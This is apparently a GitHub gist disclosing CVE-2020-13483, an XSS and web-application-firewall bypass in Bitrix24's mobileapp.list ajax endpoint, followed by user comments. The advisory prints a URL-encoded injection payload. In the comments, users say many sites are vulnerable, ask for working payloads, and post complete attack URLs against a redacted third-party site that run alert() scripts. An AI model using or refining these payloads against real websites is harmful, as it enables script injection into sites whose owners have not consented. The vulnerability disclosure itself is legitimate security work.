mariuszpoplwski / **CVE-2020-13483**

Last active 9 months ago



CVE-2020-13483

```
https://gist.github.com/mariuszpoplawski/44c5dd8ca1c40ebbacd119505254195e



CVE-2020-13483
-----------------------------------------

 The Web Application Firewall in Bitrix24 through 20.0.0 allows XSS via
 the items[ITEMS][ID] parameter to the
 components/bitrix/mobileapp.list/ajax.php/ URI.

 -----------------------------------------

 [Additional Information]
 Vulnerability exists in:
 http://192.168.1.30/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%

 PAYLOAD:
 %3Cimg+src=%22//%0d%0a);//%22%22%3E%3Cdiv%3Ex%0d%0a});var+BX+=+window.BX;window.BX+=+function(node,+bCache){};BX.ready+=+function(handler)
 -----------------------------------------

 [VulnerabilityType Other]
 Cross Site Scripting (XSS) - Bitrix WAF Bypass

 -----------------------------------------

 [Vendor of Product]
 Bitrix

 -----------------------------------------

 [Affected Product Code Base]
 Bitrix - up to security update (main 20.0.0), reported and fixed in latest patch

 -----------------------------------------

 [Affected Component]
 mobileapp.list

 -----------------------------------------

 [Attack Type]
 Remote

 -----------------------------------------

 [CVE Impact Other]
 Javascript / HTML injection

 -----------------------------------------

 [Attack Vectors]
 To exploit vulnerability attacker need access to the website, no additional requirements needed

 -----------------------------------------

 [Has vendor confirmed or acknowledged the vulnerability?]
 true

 -----------------------------------------

 [Discoverer]
 Mariusz Poplawski (afine.pl)

 -----------------------------------------

 [Reference]
 https://www.bitrix24.com/prices/self-hosted.php
 https://www.bitrix24.com/security/


Mariusz Popławski / AFINE.com team
```

**elmustafaa** commented on May 3, 2021

please is there any update ..i mean any payload

**elmustafaa** commented on May 3, 2021

i found lot of sites have this vuln..but payload do not match

**gitlabgold** commented on Jan 17

Trying to add this payload on a site:
https://xxx.com/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.location)%3B%7D%3B//%3C/div%3E

I am getting Forbidden
Request ID: 2022-01-18-03-13-23-16B531DB1EFC5729

Do we need access to the Bitrix app in order to have a successful XSS ?

**gitlabgold** commented on Jan 17

With https://xxx.com/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Ca%20href=%22/*%22%3E*/)});%20function+__MobileAppList(){alert(1)}//%3E

The response was:
MAPP_ML_MOBILEAPP_NOT_INSTALLED